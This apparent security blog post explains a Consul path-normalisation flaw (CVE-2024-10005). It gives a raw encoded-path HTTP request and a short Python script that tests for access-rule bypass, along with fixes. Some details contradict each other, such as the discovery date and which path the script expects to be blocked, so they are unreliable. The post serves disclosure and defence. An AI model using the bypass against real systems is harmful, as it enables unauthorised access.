Consul is a widely used service mesh solution for service discovery and configuration from HashiCorp. In January 2024, a major vulnerability was found: CVE-2024-10005. This flaw affects both Consul and Consul Enterprise, allowing attackers to bypass HTTP path-based access rules using specially crafted URL paths in L7 traffic intentions. In this post, we’ll explain what this means, see how it can be abused, and review ways to secure your systems.
What Are Traffic Intentions in Consul?
Consul lets you define *intentions*. Intentions determine which services can talk to each other, and at the L7 (application) layer, they can restrict traffic even by HTTP methods or paths.
Example
# Only allow GET requests for /api/status from "web" service to "api" service
resource "consul_intention" "allow_status" {
source_name = "web"
destination_name = "api"
action = "allow"
http {
method = "GET"
path = "/api/status"
}
}
With intentions, you can set policies like "only allow POSTs to /login" or "deny anything but /status checks".
CVE-2024-10005: What’s the Problem?
The vulnerability allows a remote attacker to bypass these intended rules. It happens because Consul didn’t properly normalize or validate the request path when checking intentions.
The result? An attacker can craft a specially encoded URL path like /api%2Fstatus (instead of /api/status), and Consul won’t properly match it to rules you’ve set for /api/status. The backend service may still interpret both as the same endpoint, so the restriction fails.
Real-World Exploit
Let’s say you’ve blocked access to everything but /api/status, but your backend application treats /api/status, /api%2Fstatus, /api//status, and /api/./status all the same.
Attacker sends
GET /api%2Fstatus HTTP/1.1
Host: target-api
Consul:
Checks intention for /api%2Fstatus and doesn’t find a matching deny, so the request is permitted!
Backend:
Decodes %2F as /, handling the request as /api/status.
Below is a Python snippet demonstrating how to send a bypassed request
import requests
# Replace with your target API and port
URL_NORMAL = "http://consul-protected-api/api/status";
URL_BYPASS = "http://consul-protected-api/api%2Fstatus";
# This should be blocked by intention (expected behavior)
normal_response = requests.get(URL_NORMAL)
print(f"Normal response: {normal_response.status_code}")
# This might get through if vulnerable (CVE-2024-10005 exploited)
bypass_response = requests.get(URL_BYPASS)
print(f"Bypass response: {bypass_response.status_code}")
# Compare results
if normal_response.status_code != bypass_response.status_code:
print("Potential CVE-2024-10005 vulnerability detected!")
else:
print("Requests treated equally (patched or not vulnerable).")
References and Further Reading
- Official HashiCorp Advisory
- GitHub Issue (Consul repository)
- NVD CVE Detail
You use Consul or Consul Enterprise with L7 intentions using HTTP path checks
- Your backend service sees /api/status and /api%2Fstatus as the same
How to Fix CVE-2024-10005
1. Upgrade Consul:
Consul OSS and Enterprise 1.15.10
Upgrade instructions
2. Temporary Workaround:
Restrict access upstream (firewall, gateway enforcement)
3. Sanitize at the Application:
Have your backend reject encoded paths, or normalize received URLs before handling requests.
Final Thoughts
Path normalization issues like CVE-2024-10005 aren’t unique to Consul—you’ll find similar issues in proxies, firewalls, and even web servers. It’s a good reminder to test how your access rules handle things like URL encoding, double slashes, or dot-segments.
Patch your Consul clusters!
Stay vigilant about how encoded requests are interpreted across your stack.
Stay updated:
- consul.io Security Page
- HashiCorp Discuss (Consul)
*All content unique and written for this post. If you found it helpful, share with your security team!*
Timeline
Published on: 10/30/2024 22:15:02 UTC
Last modified on: 01/10/2025 13:15:08 UTC